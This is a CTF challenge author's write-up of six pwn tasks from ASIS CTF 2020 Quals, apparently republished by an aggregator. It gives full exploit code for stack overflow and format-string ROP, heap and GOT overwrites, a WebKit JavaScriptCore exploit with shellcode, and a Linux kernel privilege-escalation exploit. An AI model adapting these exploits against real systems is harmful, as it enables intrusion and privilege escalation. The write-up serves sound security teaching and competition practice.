ASIS CTF 2020 Quals - Pwn Writeup

2020-07-06 00:06:22 Author: ptr-yudai.hatenablog.com
觉得文章还不错?,点我收藏



I wrote the 6 pwn tasks of ASIS CTF 2020 Quals. Here is the brief overview of them.

Challenge Vulnerability Estimated Difficulty
Full Protection stack overflow, fsb warmup
babynote integer overflow (to get out-of-bound address write) easy
tthttpd stack overflow (to get arbitrary file read), blind fsb medium
Safari Park integer overflow (to get oob rw) medium-hard (Browser Exploit)
Invisible use after free hard
Shared House off-by-null (to get uaf) very hard (Kernel Exploit)

I hope you enjoyed them. The tasks and solvers are here:

bitbucket.org

[53pts] Full Protection (101 solves)

This is a warmup task for pwn beginners. As the title suggests, the binary is fully armored.

$ checksec -f chall
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   75 Symbols     Yes      2               4       chall

However, the binary has obvious Stack Overflow (by gets) and FSB (by printf). You can use FSB to leak the canary and libc address, then use Stack Overflow to overwrite the return address.

from ptrlib import *

libc = ELF("../distfiles/libc-2.27.so")
sock = Process("../distfiles/chall")
rop_pop_ret = 0x00021560
rop_pop_rdi = 0x0002155f

sock.sendline("%p."*(5 + 0x40//8 + 3))
r = sock.recvline().split(b'.')
libc_base = int(r[-2], 16) - libc.symbol('__libc_start_main') - 0xe7
canary = int(r[-4], 16)
logger.info("libc = " + hex(libc_base))
logger.info("canary = " + hex(canary))

payload  = b'\x00' * 0x48
payload += p64(canary)
payload += p64(0xdeadbeef)
payload += p64(libc_base + rop_pop_ret)
payload += p64(libc_base + rop_pop_rdi)
payload += p64(libc_base + next(libc.find('/bin/sh')))
payload += p64(libc_base + libc.symbol('system'))
sock.sendline(payload)

sock.interactive()

[119pts] babynote (37 solves)

Protections are enabled.

$ checksec -f chall
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   83 Symbols     Yes      0               4       chall

At first glance, this challenge looks like a normal heap task. The program first asks the maximum number of notes and allocates an array by alloca. Notes are not initialized with NULL and we can leak libc address by printing data pointed by a decent address.

It uses readuint to get a number, which properly discards negative values. However, the result is cast to short thus it causes integer overflow for some numbers such as 0xFFFF.

This means we can actually add some value to rsp because we can pass a negative value to alloca. In this way you can overwrite the stack data of higher addresses. However, what we can write is the address of heap (returned by calloc). As the saved rbp is also in our target, we can use this to take a control.

Just prepare your ROP chain on the heap and overwrite saved rbp with the chunk address.

from ptrlib import *

def new(index, size, data):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter(": ", str(index))
    sock.sendlineafter(": ", str(size))
    sock.sendafter(": ", data)
def show(index):
    sock.sendlineafter("> ", "2")
    sock.sendlineafter(": ", str(index))
    return sock.recvlineafter(": ")
def delete(index):
    sock.sendlineafter("> ", "3")
    sock.sendlineafter(": ", str(index))

libc = ELF("../distfiles/libc-2.27.so")
sock = Process("../distfiles/chall")

free_mem = 0x199e10
rop_pop_rdi = 0x0002155f
rop_pop_rdx_rsi = 0x001306d9
rop_ret = 0x00021560

sock.sendlineafter(": ", str(0xffff))

# leak libc base
libc_base = u64(show(28)) - free_mem
logger.info("libc = " + hex(libc_base))

# prepare rop chain
payload  = p64(0)
"""
payload += p64(libc_base + rop_ret)
payload += p64(libc_base + rop_pop_rdi)
payload += p64(libc_base + next(libc.find('/bin/sh')))
payload += p64(libc_base + libc.symbol('system'))
"""
payload += p64(libc_base + rop_pop_rdx_rsi)
payload += p64(0)
payload += p64(0)
payload += p64(libc_base + rop_pop_rdi)
payload += p64(libc_base + next(libc.find('/bin/sh')))
payload += p64(libc_base + libc.symbol('execve'))
#"""
new(6, 0x40, payload)

# ignite
sock.sendlineafter("> ", "0")

sock.interactive()

[169pts] tthttpd (24 solves)

The binary is a simple HTTP server.

$ checksec -f tthttpd
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   90 Symbols     No       0               6       tthttpd

It has stack overflow but you can't simply use ROP since it calls exit instead of using return. Also, there's an FSB which is caused by syslog function of libc.

You can read whatever file by abusing the overflow. The intended solution is first read /proc/self/maps to leak the libc address. Then, you can use FSB to overwrite __free_hook or whatever.

from ptrlib import *

libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
sock = Socket("0.0.0.0", 9005)
one_gadget = 0x4f322

# libc leak
payload  = "GET /proc/self/maps"
payload += "\x00" * (0x800 - len(payload))
payload += "/////////\xff"
sock.send(payload)
payload = "Connection: Keep-Alive\r\n\r\n"
sock.send(payload)
sock.recvuntil("\r\n\r\n")
while True:
    l = sock.recvline()
    if b'libc' in l:
        break
libc_base = int(l[:l.index(b'-')], 16)
logger.info("libc = " + hex(libc_base))

# overwrite __free_hook
call_realloc = 0x31c5c
call_memalign = 0x9b670
target = 0xffffffffdeadbeef
writes = {
    libc_base + libc.symbol('__malloc_hook'): libc_base + call_realloc,
    libc_base + libc.symbol('__realloc_hook'): libc_base + one_gadget
}
fsbpayload = fsb(
    pos=24,
    written=8,
    writes=writes,
    bs=1,
    delta=5,
    bits=64
)
payload  = b"GET ////" + fsbpayload
payload += b"\x00" * (0x800 - len(payload))
payload += b"AAAAAAAAA\r\n\r\n"
sock.send(payload)

sock.interactive()

However, you could actually use the Arbitrary File Read primitive to read /home/pwn/flag.txt...... This is the worst mistake I've ever made in writing CTF tasks. From now on, I will put an executable or use random file name instead of flag.txt for every challenge...

[398pts] Safari Park (5 solves)

It was the first time to write a browser exploit challenge. Actually I wasn't planning to write one, but I discarded a challenge because of a trouble on deploy and I made this one instead.

The patch adds a method named Array.prototype.shrink.

+EncodedJSValue JSC_HOST_CALL arrayProtoFuncShrink(JSGlobalObject* globalObject, CallFrame* callFrame)
+{
+    VM& vm = globalObject->vm();
+    auto scope = DECLARE_THROW_SCOPE(vm);
+
+    JSObject* thisObject = callFrame->thisValue().toThis(globalObject, ECMAMode::strict()).toObject(globalObject);
+    EXCEPTION_ASSERT(!!scope.exception() == !thisObject);
+    if (UNLIKELY(!thisObject))
+        return encodedJSValue();
+
+    JSValue newLengthValue = callFrame->uncheckedArgument(0);
+    int64_t newLength = newLengthValue.toInteger(globalObject);
+    int64_t length = static_cast<int64_t>(toLength(globalObject, thisObject));
+    RETURN_IF_EXCEPTION(scope, encodedJSValue());
+
+    JSValue result;
+    if (newLength <= length) {
+        ArrayStorage *storage = thisObject->butterfly()->arrayStorage();
+        storage->setVectorLength(newLength);
+        storage->setLength(newLength);
+        result = jsNumber(newLength);
+    } else {
+        throwRangeError(globalObject, scope, "New size is bigger than original array size."_s);
+        return encodedJSValue();
+    }
+
+    scope.release();
+    return JSValue::encode(result);
+}

The vulnerability is a sort of Integer Overflow. Since the length is treated as int64_t, it allows negative size as the argument of shrink. (Or you can also forge length to big one.) This is the PoC of the vulnerability:

var a = [1.1, 2.2, 3.3];
var b = [1.1, {}];
a.x = 3.14;
b.x = 3.14;
a.shrink(-0xfffffff0);
ret = a[9];
print(ret);

Using this, we can easily make addrof and fakeobj primitives. So, the challenge is mostly about bypassing WebKit mitigation: structureID randomization and gigacage.

Gigacage is meaningless as we can use butterfly or WebAssembly (if we know the structureID of the object). The version of JSC has a patch against strucctureID leak. However, you can actually leak the id using String object. (This bug can be found by checking commits around the parent commit)

After bypassing the mitigation, it's a normal browser exploit.

/**
 * Utils
 */
var conversion_buffer = new ArrayBuffer(8)
var f64 = new Float64Array(conversion_buffer)
var i32 = new Uint32Array(conversion_buffer)
var BASE32 = 0x100000000
function f2i(f) {
    f64[0] = f
    return i32[0] + BASE32 * i32[1]
}
function i2f(i) {
    i32[0] = i % BASE32
    i32[1] = i / BASE32
    return f64[0]
}
function hex(x) {
    if (x < 0) return `-${hex(-x)}`
    return `0x${x.toString(16)}`
}

/**
 * Exploit
 */
function pwn()
{
    /* prepare rwx region */
    var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
    let module = new WebAssembly.Module(buffer);
    var instance = new WebAssembly.Instance(module);
    var main = instance.exports.main;

    /* stage1 primitives :) */
    var stage1 = {
        addrof: function(obj) {
            var a = [1.1, 2.2, 3.3];
            var b = [1.1, obj]
            a.x = 3.14;
            b.x = 3.14;
            a.shrink(-0xfffffff0);
            ret = a[9];
            delete a
            delete b
            return ret;
        },
        fakeobj: function(addr) {
            var a = [1.1, 2.2, 3.3]; // ArrayWithDouble
            var b = [1.1, {}];
            a.x = 3.14;
            b.x = 3.14;
            a.shrink(-0xfffffff0);
            a[9] = addr;
            ret = b[1];
            delete a
            delete b
            return ret;
        }
    };

    /* evil object for gigacage bypass */
    var evil = [1.1, 2.2, 3.3, 4.4];
    evil.p0 = 3.14; // i forgot this and wasted 30min... no more CopyOnWrite

    /* Leak structureID */
    //*
    {
        i32[0] = 2;
        i32[1] = 0; // length (eventually become 0x20000 because it's boxed)
        var fakeModeLen = f64[0];
        var fakeStringObject = {
            modeLen: fakeModeLen,
            butterfly: evil
        }
        var addr_fakestr = i2f(f2i(stage1.addrof(fakeStringObject)) + 0x10);
        var fakeStr = stage1.fakeobj(addr_fakestr);
        i32[0] = 0xdead; // whatever sid
        i32[1] = 0x01180100 - 0x20000; // type: string
        var fakeJSCell = f64[0];
        var fakeJSObject = {
            JSCell: fakeJSCell,
            butterfly: fakeStr
        }
        var addr_fake = i2f(f2i(stage1.addrof(fakeJSObject)) + 0x10);
        var fakeObj = stage1.fakeobj(addr_fake);
        x = fakeObj.toString();
        if (x.charCodeAt(0) < 0x80 && x.charCodeAt(1) < 0x80) {
            // wide char
            var sid = x.charCodeAt(0) | (x.charCodeAt(1) << 8);
            var meta = x.charCodeAt(4) | (x.charCodeAt(5) << 8)
                | (x.charCodeAt(6) << 16) | (x.charCodeAt(7) << 24);
            i32[0] = x.charCodeAt(8) | (x.charCodeAt(9) << 8)
                | (x.charCodeAt(10) << 16) | (x.charCodeAt(11) << 24);
            i32[1] = x.charCodeAt(12) | (x.charCodeAt(13) << 8)
                | (x.charCodeAt(14) << 16) | (x.charCodeAt(15) << 24);
            var butterfly = f64[0];
        } else {
            // ascii char
            var sid = x.charCodeAt(0) | (x.charCodeAt(1) << 8);
            var meta = x.charCodeAt(2) | (x.charCodeAt(3) << 16);
            i32[0] = x.charCodeAt(4) | (x.charCodeAt(5) << 16);
            i32[1] = x.charCodeAt(6) | (x.charCodeAt(7) << 16);
            var butterfly = f64[0];
        }
        print("[+] sid = " + hex(sid));
        print("[+] meta = " + hex(meta));
        print("[+] butterfly = " + hex(f2i(butterfly)))
    }
    //*/
    
    /* victim object for gigacage bypass */
    var victim = stage1.fakeobj(butterfly);
    i32[0] = sid;
    i32[1] = meta;
    evil[0] = f64[0];

    /* stage2 primitives */
    var stage2 = {
        aar64: function(addr) {
            evil[1] = addr;
            return victim[0];
        },
        aaw64: function(addr, val) {
            evil[1] = addr;
            victim[0] = val;
        }
    }

    /* leak rwx pointer */
    var addr_main = f2i(stage1.addrof(main));
    print("[+] addr_main = " + hex(addr_main));
    var addr_code = f2i(stage2.aar64(i2f(addr_main + 0x28)));
    print("[+] addr_code = " + hex(addr_code));

    /* pwn */
    var shellcode = [
        3.881017456213327e-308, 1.3226630881879291e+213,
        4.349693030470885e+199, 1.6532613234162982e+184,
        5.43231273974412e-309, 1.238567325343229e-308,
        6.867659397698158e+246, -3.985959746423108e-73,
        -7.161105510817759e-74, 1.638223e-318
    ];
    for(var i = 0; i < shellcode.length; i++) {
        stage2.aaw64(i2f(addr_code + i * 8), shellcode[i]);
    }

    main();
}

pwn();

Shellcode:

bits 64
global _start
section .text
_start:
  xor eax, eax
  xor edx, edx
  push rdx
  call arg2
  db "/bin/ls /; /bin/cat /flag*", 0
arg2:
  call arg1
  db "-c", 0
arg1:
  call arg0
  db "/bin/sh", 0
arg0:
  pop rdi
  push rdi
  mov rsi, rsp
  mov al, 59
  syscall
  xor edi, edi
  xor eax, eax
  mov al, 60
  syscall

You can spray objects to guess the structureID instead of abusing the String bug. (The success rate of your exploit may not become that high though.)

[217pts] Invisible (17 solves)

This challenge is based on a heap challenge "Re-alloc" from pwnable.tw. The vulnerability lies in the edit function. We can call free inside realloc by giving 0 as the size. The obstacle is that this program is running with libc-2.23, which means we can't abuse tcache.

The first thing we need to do is corrupt fastbin and pop the fake chunk. You can easily corrupt the link of fastbin but can't pop it as there are only two notes available. Here is a piece of exploit to corrupt fastbin link.

    add(0, 0x68, "A")
    add(1, 0x68, "B")
    edit(0, 0x00, "")
    delete(1)
    delete(0)
    add(0, 0x68, p64(addr_fake_chunk))

Now fastbin for size 0x70 looks like this:

B --> A -->fake_chunk

Be noticed that delete(1) consolidates chunk B with top, so as delete(0). Currently the heap looks like this:

+-->+-------+
|   |   A   |---> fake chunk
|   +-------+ <-- top
+---|   B   |
    +-------+

Next, I did something like this:

    add(1, 0x68, "A"*0x10) # consume (consolidate)
    edit(1, 0x78, "B"*0x10)
    delete(1)
    add(1, 0x68, "C"*0x10) # consume (swap)
    edit(1, 0x78, "D"*0x10)
    delete(1)
    add(1, 0x68, "E"*0x10) # consume (consolidate)
    edit(1, 0x78, "F"*0x10)
    delete(1)

Since top points to B, the re-allocated chunk (size 0x78) overlaps with the freed chunk (size 0x68). Now the next malloc will pop the fake chunk.

I used the fake chunk at 0x60208d around stdout pointer. In this way we can overwrite note pointer list.

I pointed ptr[0] to ptr and ptr[1] to somewhere near [email protected]. Also created a fake chunk after that, which will be used later.

        payload = b'\0' * 3
        payload += p64(elf.got('puts')) + p64(0x21) # stdin (used later)
        payload += p64(elf.symbol('ptr')) + p64(elf.got('alarm') + i - 0x33)
        payload += p64(0) + p64(0x21)
        payload += p64(0) + p64(elf.got('strchr') - 8) # ptr[5] (used later)
        add(1, 0x68, payload) # write 0x00!
        # now index 0 points to the pointer list
        edit(0, 0x18, p64(elf.symbol('ptr')) + p64(0))

You can edit the buffer since realloc won't do anything for smaller size.

The program puts null bytes after the data. I used this for 5 times to overwrite a pointer around [email protected] to make 0x7f on GOT, which can be used as a new fake chunk.

After that, we can use the fake chunk with size header set to 0x7f to fully control GOT :)

from ptrlib import *

def add(index, size, data):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter(": ", str(index))
    sock.sendlineafter(": ", str(size))
    sock.sendafter(": ", data)
def edit(index, size, data):
    sock.sendlineafter("> ", "2")
    sock.sendlineafter(": ", str(index))
    sock.sendlineafter(": ", str(size))
    if size > 0:
        sock.sendafter(": ", data)
def delete(index):
    sock.sendlineafter("> ", "3")
    sock.sendlineafter(": ", str(index))

elf = ELF("../distfiles/chall")
libc = ELF("../distfiles/libc-2.23.so")
addr_fake_chunk = 0x60208d

while True:
    sock = Socket("69.172.229.147", 9003)

    # fastbin dup
    add(0, 0x68, "A")
    add(1, 0x68, "B")
    edit(0, 0x00, "")
    delete(1)
    delete(0)
    add(0, 0x68, p64(addr_fake_chunk))
    add(1, 0x68, "A"*0x10) # consume (consolidate)
    edit(1, 0x78, "B"*0x10)
    delete(1)
    add(1, 0x68, "C"*0x10) # consume (swap)
    edit(1, 0x78, "D"*0x10)
    delete(1)
    add(1, 0x68, "E"*0x10) # consume (consolidate)
    edit(1, 0x78, "F"*0x10)
    delete(1)

    # null write primitive at arbitrary address
    for i in range(5):
        payload = b'\0' * 3
        payload += p64(elf.got('puts')) + p64(0x21) # stdin (used later)
        payload += p64(elf.symbol('ptr')) + p64(elf.got('alarm') + i - 0x33)
        payload += p64(0) + p64(0x21)
        payload += p64(0) + p64(elf.got('strchr') - 8) # ptr[5] (used later)
        add(1, 0x68, payload) # write 0x00!

        # now index 0 points to the pointer list
        edit(0, 0x18, p64(elf.symbol('ptr')) + p64(0))

        if i < 4:
            fake_chunk  = p64(0) + p64(0x71)
            fake_chunk += p64(addr_fake_chunk)
            add(1, 0x78, fake_chunk) # fake chunk
            edit(1, 0x00, "")
            edit(0, 0x18, p64(elf.symbol('ptr')) + b'\xa0')
            delete(1)
            if b'/home' in sock.recv(8): # segfault
                logger.warn("Bad luck!")
                break
            add(1, 0x78, fake_chunk) # overlaps, forge fd
            delete(1)
            add(1, 0x68, "dummy")
            edit(0, 0x18, p64(elf.symbol('ptr')) + p64(0))
    else:
        break

# now fake size (0x7f) is at 0x60203d ([email protected])
fake_chunk  = p64(0) + p64(0x71)
fake_chunk += p64(elf.got('alarm') - 11)
add(1, 0x78, fake_chunk)
edit(1, 0x00, "")
edit(0, 0x18, p64(elf.symbol('ptr')) + b'\xa0')
delete(1)
add(1, 0x78, fake_chunk) # overlaps, forge fd
delete(1)
add(1, 0x68, "dummy")
edit(0, 0x18, p64(elf.symbol('ptr')) + p64(0))

# got overwrite
payload = b'\0' * 3
payload += p64(elf.plt('read') + 6)
payload += p64(0x400a8f)             # signal
payload += p64(elf.plt('malloc') + 6)
payload += p64(elf.plt('realloc') + 6)
payload += p64(elf.plt('puts') + 6)  # setvbuf
payload += p64(elf.symbol('_start')) # atoi
add(1, 0x68, payload[:-1])

# libc leak
sock.sendafter("> ", "X\0")
libc_base = u64(sock.recvline()) - libc.symbol('puts') # puts(stdin)
sock.recvline() # puts(stdout)
logger.info("libc = " + hex(libc_base))

# got overwrite
"""
lea rcx, [rax*8]     <--- rax=5 because puts(stdout) was called
lea rax, ptr
mov rax, [rcx + rax] <-- ptr[5]
mov rsi, rax
lea rdi, "data: "
call readline
"""
payload = b'/bin/sh\0'
payload += p64(libc_base + libc.symbol('system')) # strchr
sock.sendafter(": ", payload)

sock.interactive()

It seems some teams solved this challenge wth an easier unintended solution.

[354pts] Shared House (7 solves)

Kernel exploit challenge.

qemu-system-x86_64 \
    -m 256M \
    -kernel ./bzImage \
    -initrd ./rootfs.cpio \
    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr pti=off quiet" \
    -cpu qemu64,+smep \
    -monitor /dev/null \
    -nographic

KASLR, SMEP are enabled and KPTI, SMAP are disabled. There's a kernel driver named note.ko which can keep one chunk of size from 0 to 0x80 allocated by kmalloc. The vulnerability is a simple off-by-null. When we write data of the maximum size of the note, a NULL byte will be written to the first byte of the adjacent chunk.

We can control the SLAB link because SLAB doesn't have chunk header like ptmalloc does. This causes Use After Free in the kernel-land.

The problem is that we can allocate only 1 chunk through the driver, which is useless. So, we need to use some proper structs which are native to the linux kernel. You can check my article about useful structures in kernel exploitation.

Anyway, the first thing we have to do is heap spray. We need to make sure that the adjacent chunk is freed and controllable afterwards. Then, we can overlap a chunk of the target SLAB to leak kernel address.

I used msg_msg for the spray.

  /* spray for kmalloc-128 */
  int qid;
  if ((qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) {
    perror("msgget");
    return -1;
  }
  msgbuf.mtype = 1;
  memset(msgbuf.mtext, 'A', sizeof(msgbuf.mtext));
  //for(int i = 0; i < 0x20; i++) {
  for(int i = 0; i < 0x21; i++) {
    if (msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 48, 0) == -1) {
      perror("msgsnd");
      return -1;
    }
  }

  /* kbase leak */
  new(0x80);
  store(0x80, (void*)buf); // off-by-null
  delete();
  if (msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 48, 0) == -1) return 1;
  new(0x80);
  socket(22, AF_INET, 0); // subprocess_info
  load(0x80, (void*)buf);
  kbase = buf[3] - call_usermodehelper_exec_work;
  printf("[+] kbase = 0x%016lx\n", kbase);

Same principle, I leaked heap address through msg_msg and get rip by seq_operations. When corrupting kmalloc-32, I put a valid heap address (actually of kmalloc-128 though) so that the kernel won't crash when using system calls such as execve.

Here's the final exploit:

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>

#define CMD_ALLOC  0xc12ed001
#define CMD_DELETE 0xc12ed002
#define CMD_STORE  0xc12ed003
#define CMD_LOAD   0xc12ed004

unsigned long kbase, kheap;
unsigned long call_usermodehelper_exec_work = 0x060160;
unsigned long commit_creds = 0x069c10;
unsigned long prepare_kernel_cred = 0x069e00;
unsigned long run_cmd = 0x06a180;
unsigned long msleep = 0x09a950;

unsigned long rop_mov_esp_5d000010 = 0x02cae0;
unsigned long rop_pop_rcx = 0x0368fa;
unsigned long rop_pop_rax = 0x005de4;
unsigned long rop_pop_rdi_dec_ecx = 0x038bf9;
unsigned long rop_mov_rdi_rax_pop_rbp = 0x01877f;
unsigned long rop_mov_prax_rdi_pop_rbp = 0x0eaea1;
unsigned long rop_swapgs_pop_rbp = 0x03ef24;
unsigned long rop_iretq = 0x01d5c6;

int fd;

struct {
  int size;
  char *note;
} cmd;
int new(int size) {
  cmd.size = size;
  cmd.note = NULL;
  return ioctl(fd, CMD_ALLOC, (void*)&cmd);
}
int delete() {
  cmd.size = 0;
  cmd.note = NULL;
  return ioctl(fd, CMD_DELETE, (void*)&cmd);
}
int store(int size, char *note) {
  cmd.size = size;
  cmd.note = note;
  return ioctl(fd, CMD_STORE, (void*)&cmd);
}
int load(int size, char *note) {
  cmd.size = size;
  cmd.note = note;
  return ioctl(fd, CMD_LOAD, (void*)&cmd);
}

unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;

static void save_state() {
  asm("movq %%cs, %0\n"
      "movq %%ss, %1\n"
      "pushfq\n"
      "popq %2\n"
      : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
      :: "memory");
}

static void win() {
  char *argv[] = {"/bin/sh", NULL};
  char *envp[] = {NULL};
  puts("[+] win!");
  execve("/bin/sh", argv, envp);
  puts("[-] bye!");
  exit(0);
}

struct {
  long mtype;
  char mtext[0x80];
} msgbuf;

/* entry point */
int main(void) {
  unsigned long buf[0x80];
  memset(buf, 'X', 0x80);
  save_state();

  char *command = malloc(0x80);
  strcpy(command, "/bin/chmod 777 /flag");

  fd = open("/dev/note", O_RDWR);
  if (fd < 0) {
    perror("/dev/note");
    return 1;
  }

  /* spray for kmalloc-128 */
  int qid;
  if ((qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) {
    perror("msgget");
    return -1;
  }
  msgbuf.mtype = 1;
  memset(msgbuf.mtext, 'A', sizeof(msgbuf.mtext));
  //for(int i = 0; i < 0x20; i++) {
  for(int i = 0; i < 0x21; i++) {
    if (msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 48, 0) == -1) {
      perror("msgsnd");
      return -1;
    }
  }

  /* kbase leak */
  new(0x80);
  store(0x80, (void*)buf); // off-by-null
  delete();
  if (msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 48, 0) == -1) return 1;
  new(0x80);
  socket(22, AF_INET, 0); // subprocess_info
  load(0x80, (void*)buf);
  kbase = buf[3] - call_usermodehelper_exec_work;
  printf("[+] kbase = 0x%016lx\n", kbase);

  /* prepare rop chain */
  unsigned long *chain = (unsigned long*)
    mmap((void*)(0x5d000000 - 0x8000),
         0x10000,
         PROT_READ | PROT_WRITE,
         0x20 | MAP_ANON | MAP_SHARED | MAP_POPULATE,
         -1, 0);
  if ((unsigned long)chain != 0x5d000000 - 0x8000) {
    perror("mmap");
    return 1;
  }
  chain += 0x8010 / sizeof(unsigned long);
  *chain++ = kbase + rop_pop_rdi_dec_ecx;
  *chain++ = 0;
  *chain++ = kbase + prepare_kernel_cred;
  *chain++ = kbase + rop_pop_rcx;
  *chain++ = 0;
  *chain++ = kbase + rop_mov_rdi_rax_pop_rbp;
  *chain++ = 0xdeadbeefcafebabe;
  *chain++ = kbase + commit_creds;
  *chain++ = kbase + rop_swapgs_pop_rbp;
  *chain++ = 0xdeadbeefcafebabe;
  *chain++ = kbase + rop_iretq;
  *chain++ = (unsigned long)&win;
  *chain++ = user_cs;
  *chain++ = user_rflags;
  *chain++ = 0x5d000000;
  *chain++ = user_ss;

  /* consume freelist */
  delete();
  for(int i = 0; i < 3; i++) {
    if (msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 48, 0) == -1) return 1;
  }
  memset(buf, 'X', 0x80);

  /* kheap leak */
  new(0x80);
  store(0x80, (void*)buf); // off-by-null
  delete();
  if (msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 48, 0) == -1) return 1;
  new(0x80);
  if (msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 48, 0) == -1) return 1;
  load(0x80, (void*)buf);
  kheap = buf[1];// + 0x80;
  printf("[+] kheap = 0x%016lx\n", kheap);
  if (kheap == 0x80) {
    puts("[-] Bad luck...");
    return 1;
  }

  /* align for kmalloc-32 */
  //for(int i = 0; i < 0x84; i++) { // adjust it in range of 0x80-0x88
  for(int i = 0; i < 0x83; i++) { // remote
    open("/proc/self/stat", O_RDONLY);
  }

  /* chunk overlap */
  delete();
  new(0x20);
  buf[0] = kheap; // valid fd
  store(0x20, (void*)buf); // off-by-null
  open("/proc/self/stat", O_RDONLY);
  int victim = open("/proc/self/stat", O_RDONLY); // overlap!

  /* abuse seq_operations */
  buf[0] = kbase + rop_mov_esp_5d000010; // start
  store(0x20, (void*)buf);

  /* ignite! */
  read(victim, buf, 1); // seq_read

  return 0;
}
  • I was planning to enable SMAP but I didn't because I thought it'd be too hard for 48h CTF. Perhaps that was a right decision...



觉得文章还不错?,点我收藏



如果文章侵犯到您的版权,请联系我:buaq.net[#]pm.me